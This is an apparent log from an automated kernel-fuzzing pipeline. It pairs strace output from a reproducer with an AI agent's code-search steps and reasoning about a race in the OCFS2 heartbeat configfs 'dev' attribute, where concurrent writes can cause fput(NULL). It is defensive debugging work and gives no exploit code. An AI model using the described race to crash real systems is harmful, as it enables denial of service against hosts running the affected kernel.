[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5857] write(1, "[+] configfs mounted or already mounted.\n[+] Created mycluster.\n[+] Created mynode.\n[-] Failed to wr"..., 819 <unfinished ...>
[+] configfs mounted or already mounted.
[+] Created mycluster.
[+] Created mynode.
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument
[+] Wrote '7777
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port
[+] Wrote '127.0.0.1
' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address
[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument
[+] Created myregion.
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks
[+] Wrote '1
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block
[+] Opened block device, fd=3
[+] Wrote '1024
' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes
[+] Opened dev attr twice.
[+] Threads started. Waiting for crash...
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5857] <... write resumed>) = 819
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5857] exit_group(0 <unfinished ...>
[pid 5872] ???( <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5857] <... exit_group resumed>) = ?
[pid 5872] <... ??? resumed>) = ?
[pid 5871] +++ exited with 0 +++
[pid 5872] +++ exited with 0 +++
+++ exited with 0 +++
[ 71.820194][ T1374] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.822379][ T1374] ieee802154 phy1 wpan1: encryption failed: -22
Crash Report:
|
| 171/4 |
2026/09/04 20:56 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 66173
output: 45
thoughts: 744
Thoughts: **My Thought Process on the KASAN Null-Pointer Dereference in `fput`**
Right, so I've got this KASAN bug report: "KASAN: null-ptr-deref Write in fput". The immediate thought is, okay, something's trying to dereference a NULL pointer while trying to put a file reference back, and it's happening within the `fput` function itself. That's a pretty fundamental operation, so it suggests a more subtle issue somewhere upstream.
Looking at the crash trace, it paints a clearer picture. We see the `null-ptr-deref` propagating through `instrument_atomic_read_write`, then `atomic_long_dec_return`, and then `file_ref_put`. This sequence strongly indicates that the issue lies in how the file reference count is being decremented or how the underlying file structure is being handled *before* `file_ref_put` is called. The actual crash occurs at `fput+0x2e/0x100` in `fs/file_table.c`. Crucially, it's a "Write of size 8 at addr 0000000000000158," which is suspiciously close to zero, hinting at a NULL pointer being dereferenced.
Then, I examine the reproducer output. This is where the context really starts to form. The reproducer is setting up a configfs cluster configuration, specifically for OCFS2 heartbeat regions. It creates a cluster, a node, and then a heartbeat region. The key lines that jump out are:
* `[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/num: Invalid argument`
* `[+] Wrote '7777\n' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port`
* `[+] Wrote '127.0.0.1\n' to /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address`
* `[-] Failed to write to /sys/kernel/config/cluster/mycluster/node/mynode/local: Invalid argument`
* `[+] Opened block device, fd=3`
* `[+] Wrote '1024\n' to /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes`
* `[+] Opened dev attr twice.`
The fact that writing to `num` and `local` fails with `Invalid argument` (which is `EINVAL`) is a significant clue. The reproducer then proceeds to set up heartbeat region parameters and, critically, opens a block device. The phrase "Opened dev attr twice" is also very suggestive – it implies some kind of double operation or perhaps an attempt to re-initialize something that shouldn't be.
The `strace` output reinforces this observation:
`[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>`
`[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)`
This shows a `pwrite64` call returning `EINVAL`. The fact that the "write to `dev` is failing with `EINVAL`" is the precise connection I need. It strongly suggests that the `EINVAL` error is occurring during the setup or configuration of the device within the heartbeat region, and this failure is somehow leading to the subsequent NULL pointer dereference.
My next logical step is to dive into the code for `o2hb_region_dev_store` in `fs/ocfs2/cluster/heartbeat.c`, as the trace indicates this is where the problematic `dev` attribute write is happening. I'm hypothesizing that the `EINVAL` error returned from the underlying device write operation is not being handled correctly by `o2hb_region_dev_store`, leading to an inconsistent or uninitialized state for the file object associated with the heartbeat region's device attribute. This inconsistent state is then passed down, eventually causing `fput` to encounter a NULL pointer when it tries to access members of the file structure or related objects. I need to see how `o2hb_region_dev_store` processes the write and how it handles errors from the `pwrite64` call to identify where the file reference might become invalid or be prematurely cleaned up.
|
| 172/4 |
2026/09/04 20:56 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/ocfs2/cluster/heartbeat.c Name:o2hb_region_dev_store]
Results: map[SourceCode:1773: /*
1774: * this is acting as commit; we set up all of hr_bdev_file and hr_task or
1775: * nothing
1776: */
1777: static ssize_t o2hb_region_dev_store(struct config_item *item,
1778: const char *page,
1779: size_t count)
1780: {
1781: struct o2hb_region *reg = to_o2hb_region(item);
1782: struct task_struct *hb_task;
1783: long fd;
1784: int sectsize;
1785: char *p = (char *)page;
1786: ssize_t ret = -EINVAL;
1787: int live_threshold;
1788:
1789: if (reg->hr_bdev_file)
1790: return -EINVAL;
1791:
1792: /* We can't heartbeat without having had our node number
1793: * configured yet. */
1794: if (o2nm_this_node() == O2NM_MAX_NODES)
1795: return -EINVAL;
1796:
1797: ret = kstrtol(p, 0, &fd);
1798: if (ret < 0)
1799: return -EINVAL;
1800:
1801: if (fd < 0 || fd >= INT_MAX)
1802: return -EINVAL;
1803:
1804: CLASS(fd, f)(fd);
1805: if (fd_empty(f))
1806: return -EINVAL;
1807:
1808: if (reg->hr_blocks == 0 || reg->hr_start_block == 0 ||
1809: reg->hr_block_bytes == 0)
1810: return -EINVAL;
1811:
1812: if (!S_ISBLK(fd_file(f)->f_mapping->host->i_mode))
1813: return -EINVAL;
1814:
1815: reg->hr_bdev_file = bdev_file_open_by_dev(fd_file(f)->f_mapping->host->i_rdev,
1816: BLK_OPEN_WRITE | BLK_OPEN_READ, NULL, NULL);
1817: if (IS_ERR(reg->hr_bdev_file)) {
1818: ret = PTR_ERR(reg->hr_bdev_file);
1819: reg->hr_bdev_file = NULL;
1820: return ret;
1821: }
1822:
1823: sectsize = bdev_logical_block_size(reg_bdev(reg));
1824: if (sectsize != reg->hr_block_bytes) {
1825: mlog(ML_ERROR,
1826: "blocksize %u incorrect for device, expected %d",
1827: reg->hr_block_bytes, sectsize);
1828: ret = -EINVAL;
1829: goto out;
1830: }
1831:
1832: reg->hr_aborted_start = 0;
1833: reg->hr_node_deleted = 0;
1834: o2hb_init_region_params(reg);
1835:
1836: /* Generation of zero is invalid */
1837: do {
1838: get_random_bytes(®->hr_generation,
1839: sizeof(reg->hr_generation));
1840: } while (reg->hr_generation == 0);
1841:
1842: ret = o2hb_map_slot_data(reg);
1843: if (ret) {
1844: mlog_errno(ret);
1845: goto out;
1846: }
1847:
1848: ret = o2hb_populate_slot_data(reg);
1849: if (ret) {
1850: mlog_errno(ret);
1851: goto out;
1852: }
1853:
1854: INIT_DELAYED_WORK(®->hr_write_timeout_work, o2hb_write_timeout);
1855: INIT_DELAYED_WORK(®->hr_nego_timeout_work, o2hb_nego_timeout);
1856:
1857: /*
1858: * A node is considered live after it has beat LIVE_THRESHOLD
1859: * times. We're not steady until we've given them a chance
1860: * _after_ our first read.
1861: * The default threshold is bare minimum so as to limit the delay
1862: * during mounts. For global heartbeat, the threshold doubled for the
1863: * first region.
1864: */
1865: live_threshold = O2HB_LIVE_THRESHOLD;
1866: if (o2hb_global_heartbeat_active()) {
1867: spin_lock(&o2hb_live_lock);
1868: if (bitmap_weight(o2hb_region_bitmap, O2NM_MAX_REGIONS) == 1)
1869: live_threshold <<= 1;
1870: spin_unlock(&o2hb_live_lock);
1871: }
1872: ++live_threshold;
1873: atomic_set(®->hr_steady_iterations, live_threshold);
1874: /* unsteady_iterations is triple the steady_iterations */
1875: atomic_set(®->hr_unsteady_iterations, (live_threshold * 3));
1876:
1877: hb_task = kthread_run(o2hb_thread, reg, "o2hb-%s",
1878: reg->hr_item.ci_name);
1879: if (IS_ERR(hb_task)) {
1880: ret = PTR_ERR(hb_task);
1881: mlog_errno(ret);
1882: goto out;
1883: }
1884:
1885: spin_lock(&o2hb_live_lock);
1886: reg->hr_task = hb_task;
1887: spin_unlock(&o2hb_live_lock);
1888:
1889: ret = wait_event_interruptible(o2hb_steady_queue,
1890: atomic_read(®->hr_steady_iterations) == 0 ||
1891: reg->hr_node_deleted);
1892: if (ret) {
1893: atomic_set(®->hr_steady_iterations, 0);
1894: reg->hr_aborted_start = 1;
1895: }
1896:
1897: if (reg->hr_aborted_start) {
1898: ret = -EIO;
1899: goto out;
1900: }
1901:
1902: if (reg->hr_node_deleted) {
1903: ret = -EINVAL;
1904: goto out;
1905: }
1906:
1907: /* Ok, we were woken. Make sure it wasn't by drop_item() */
1908: spin_lock(&o2hb_live_lock);
1909: hb_task = reg->hr_task;
1910: if (o2hb_global_heartbeat_active())
1911: set_bit(reg->hr_region_num, o2hb_live_region_bitmap);
1912: spin_unlock(&o2hb_live_lock);
1913:
1914: if (hb_task)
1915: ret = count;
1916: else
1917: ret = -EIO;
1918:
1919: if (hb_task && o2hb_global_heartbeat_active())
1920: printk(KERN_NOTICE "o2hb: Heartbeat started on region %s (%pg)\n",
1921: config_item_name(®->hr_item), reg_bdev(reg));
1922:
1923: out:
1924: if (ret < 0) {
1925: spin_lock(&o2hb_live_lock);
1926: hb_task = reg->hr_task;
1927: reg->hr_task = NULL;
1928: spin_unlock(&o2hb_live_lock);
1929:
1930: if (hb_task)
1931: kthread_stop(hb_task);
1932:
1933: o2hb_unmap_slot_data(reg);
1934:
1935: fput(reg->hr_bdev_file);
1936: reg->hr_bdev_file = NULL;
1937: }
1938: return ret;
1939: }
SourceFile:fs/ocfs2/cluster/heartbeat.c]
|
| 173/4 |
2026/09/04 20:56 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 69518
output: 33
thoughts: 101
Thoughts: **My Debugging Journey**
My immediate thought upon encountering the crash was pinpointing its location: `fput(reg->hr_bdev_file);` on line 1935. My expertise immediately led me to examine the type of the argument `reg->hr_bdev_file`. Ah, it's a `struct file *`. This sparked a realization: if `reg->hr_bdev_file` happens to be NULL, passing it directly to `fput` would undoubtedly result in a null-pointer dereference, and thus, a crash. My next instinct was to verify the behavior of `fput` itself. Does it gracefully handle NULL pointers, or does it assume a valid pointer? To confirm this, I needed to dive into the implementation of `fput`.
|
| 174/4 |
2026/09/04 20:56 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/file_table.c Name:fput]
Results: map[SourceCode: 586: void fput(struct file *file)
587: {
588: if (unlikely(file_ref_put(&file->f_ref)))
589: __fput_deferred(file);
590: }
SourceFile:fs/file_table.c]
|
| 175/4 |
2026/09/04 20:56 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 69733
output: 38
thoughts: 1275
Thoughts: **Analysis of `reg->hr_bdev_file` NULL Pointer Potential**
My primary concern here is the potential for a NULL pointer dereference when `fput(reg->hr_bdev_file)` is called. I've been tracing the execution paths to understand how `reg->hr_bdev_file` can end up being NULL at line 1935.
Initially, I observed the direct assignment: if `bdev_file_open_by_dev` at line 1815 succeeds, `reg->hr_bdev_file` is populated. If it fails, the function returns early, so `reg->hr_bdev_file` would not be NULL at the `out` label in this scenario.
Then, I started looking at failures *before* `bdev_file_open_by_dev`. I examined checks like the `o2nm_this_node()` check at 1794, the `kstrtol` conversion at 1797, the `fd_empty` check at 1805, and the various `reg->hr_*` field checks at 1808. All these conditions lead to an early return, meaning `reg->hr_bdev_file` would still be NULL in these specific failure cases and thus the `out` label wouldn't be reached with a NULL `hr_bdev_file` if the assignment hadn't happened yet.
I then considered failures occurring after the assignment, such as the block size mismatch at line 1824. If this occurs, the code jumps to the `out` label. Crucially, if `bdev_file_open_by_dev` succeeded *before* this mismatch, `reg->hr_bdev_file` would *not* be NULL when reaching `out`. The same logic applies to the failure at `o2hb_map_slot_data` (line 1842), which also branches to `out`.
My subsequent thought process led me to question the `out` label's cleanup logic. Specifically, I noticed the `if (ret < 0)` block within `out`. If `ret` is negative, `reg->hr_bdev_file` is *then* set to NULL *after* the `fput` call at line 1936. This means that if `reg->hr_bdev_file` was *already* NULL when `out` was reached, the `fput` would operate on a NULL pointer, which is problematic.
I then circled back to my initial premise: is there any path where `reg->hr_bdev_file` could be NULL *before* the `fput` call, but *after* `bdev_file_open_by_dev` has been attempted or completed (or indeed, if it was never successfully assigned)? My analysis of the code snippets suggests that if `bdev_file_open_by_dev` fails, it returns early. If it succeeds, `reg->hr_bdev_file` is populated. This implies that any path reaching the `out` label where `ret < 0` would have had `reg->hr_bdev_file` either successfully assigned (and thus not NULL) or the function would have returned prior to that assignment.
However, a nagging doubt remained: could a race condition exist? What if `o2hb_region_dev_store` were called concurrently? My immediate thought is that `configfs` should inherently protect concurrent writes to the same attribute, which would prevent such races. I need to verify this assumption regarding `configfs_write_iter`.
|
| 176/4 |
2026/09/04 20:56 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/configfs/file.c Name:configfs_write_iter]
Results: map[SourceCode: 213: /*
214: * There is no easy way for us to know if userspace is only doing a partial
215: * write, so we don't support them. We expect the entire buffer to come on the
216: * first write.
217: * Hint: if you're writing a value, first read the file, modify only the value
218: * you're changing, then write entire buffer back.
219: */
220: static ssize_t configfs_write_iter(struct kiocb *iocb, struct iov_iter *from)
221: {
222: struct file *file = iocb->ki_filp;
223: struct configfs_buffer *buffer = file->private_data;
224: int len;
225:
226: mutex_lock(&buffer->mutex);
227: len = fill_write_buffer(buffer, from);
228: if (len > 0)
229: len = flush_write_buffer(file, buffer, len);
230: if (len > 0)
231: iocb->ki_pos += len;
232: mutex_unlock(&buffer->mutex);
233: return len;
234: }
SourceFile:fs/configfs/file.c]
|
| 177/4 |
2026/09/04 20:56 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 71415
output: 37
thoughts: 71
Thoughts: **My Thought Process Regarding `configfs_write_iter` and Concurrent Access**
Okay, so I'm looking at `configfs_write_iter`, and my immediate observation is that it acquires a lock on `buffer->mutex`. This is standard practice for ensuring data integrity when modifying shared resources. However, what strikes me as potentially problematic is that `buffer` is associated with a *per-file* instance.
This leads me to a critical inference: if two separate threads decide to open the *exact same file* within configfs, they will each be operating on their own distinct `file` and, importantly, their own independent `buffer` structures. This is a key detail.
The implication of having separate `buffer` structures, even for the same underlying configfs file, is that they will each have their own `mutex`. This means that if these two threads proceed to call `flush_write_buffer` concurrently, they won't actually be contending for the *same* lock. Each thread will be locking its *own* `buffer->mutex`.
This realization prompts a natural next step in my analysis: I need to delve into the `flush_write_buffer` function itself. My focus will be on understanding what operations it performs *after* acquiring its local `buffer->mutex` and whether there are any other shared resources or critical sections within that function that could still lead to race conditions or data corruption, despite the separate `buffer` instances. In essence, the fact that `buffer` is per-file is a strong indicator of potential concurrency, and I need to confirm if `flush_write_buffer` properly handles this or introduces new challenges.
|
| 178/4 |
2026/09/04 20:56 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:fs/configfs/file.c Name:flush_write_buffer]
Results: map[SourceCode: 199: static int
200: flush_write_buffer(struct file *file, struct configfs_buffer *buffer, size_t count)
201: {
202: struct configfs_fragment *frag = to_frag(file);
203: int res = -ENOENT;
204:
205: down_read(&frag->frag_sem);
206: if (!frag->frag_dead)
207: res = buffer->attr->store(buffer->item, buffer->page, count);
208: up_read(&frag->frag_sem);
209: return res;
210: }
SourceFile:fs/configfs/file.c]
|
| 179/4 |
2026/09/04 20:56 |
llm |
repro-oracle |
0m
Model:
Tokens:
input: 71716
output: 46
thoughts: 1131
Thoughts: **Analysis of Concurrency Issue in `o2hb_region_dev_store`**
Aha! I've been digging into this `flush_write_buffer` function, and it seems like it only calls `down_read(&frag->frag_sem)`. This immediately flags a potential concurrency issue. If `flush_write_buffer` itself is protected by this read semaphore, it means that `buffer->attr->store`, which is `o2hb_region_dev_store` in this case, can be called by two threads simultaneously. This is where my concern starts to build.
Let's revisit `o2hb_region_dev_store` with this concurrent execution in mind. I'm looking at this block:
```c
1789: if (reg->hr_bdev_file)
1790: return -EINVAL;
```
Imagine Thread A and Thread B both entering `o2hb_region_dev_store` at roughly the same time. Thread A checks `reg->hr_bdev_file`, finds it's `NULL`, and proceeds. Almost immediately, Thread B does the same check, also finds it `NULL`, and also proceeds.
Now, Thread A successfully opens the file and sets `reg->hr_bdev_file` to point to it. Then, before Thread A can finish its operations, Thread B also opens the file (which is fine, it's a separate open operation), but critically, it then overwrites `reg->hr_bdev_file` with its *own* opened file descriptor.
This is where the leak becomes apparent. If Thread A managed to open a file and assign it to `reg->hr_bdev_file`, and then Thread B overwrites that pointer, Thread B is essentially leaking the file descriptor that Thread A was holding.
However, the actual crash I'm seeing is `fput(NULL)`. This implies that `reg->hr_bdev_file` is `NULL` when `fput` is called. How can this happen if the scenario above is occurring? Let's trace the code again.
I see the file opening logic:
```c
1815: reg->hr_bdev_file = bdev_file_open_by_dev(fd_file(f)->f_mapping->host->i_rdev,
1816: BLK_OPEN_WRITE | BLK_OPEN_READ, NULL, NULL);
1817: if (IS_ERR(reg->hr_bdev_file)) {
1818: ret = PTR_ERR(reg->hr_bdev_file);
1819: reg->hr_bdev_file = NULL;
1820: return ret;
1821: }
```
So, if Thread A successfully opens a file and assigns it to `reg->hr_bdev_file`, and then Thread B does the same, *both* threads have valid file pointers assigned.
The crash occurs when a thread fails *after* both have assigned valid file pointers. Let's say Thread A hits an error later in its execution (e.g., a mismatch in `sectsize` or a failure in `o2hb_map_slot_data`) and proceeds to its `out` label:
```c
1935: fput(reg->hr_bdev_file);
1936: reg->hr_bdev_file = NULL;
```
At this point, Thread A calls `fput` on its valid file descriptor and then *clears* `reg->hr_bdev_file` to `NULL`.
Now, if Thread B also encounters an error and proceeds to its `out` label:
```c
1935: fput(reg->hr_bdev_file);
1936: reg->hr_bdev_file = NULL;
```
Here's the problem: Thread B now calls `fput(reg->hr_bdev_file)`. But `reg->hr_bdev_file` is *already NULL* because Thread A just set it to `NULL`! This is precisely why Thread B ends up calling `fput(NULL)` and crashing.
This explanation seems to perfectly account for the observed `fput(NULL)` crash.
However, the reproducer output I'm seeing is different:
```
[+] Opened dev attr twice.
[+] Threads started. Waiting for crash...
```
And the `strace` output shows:
```
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
```
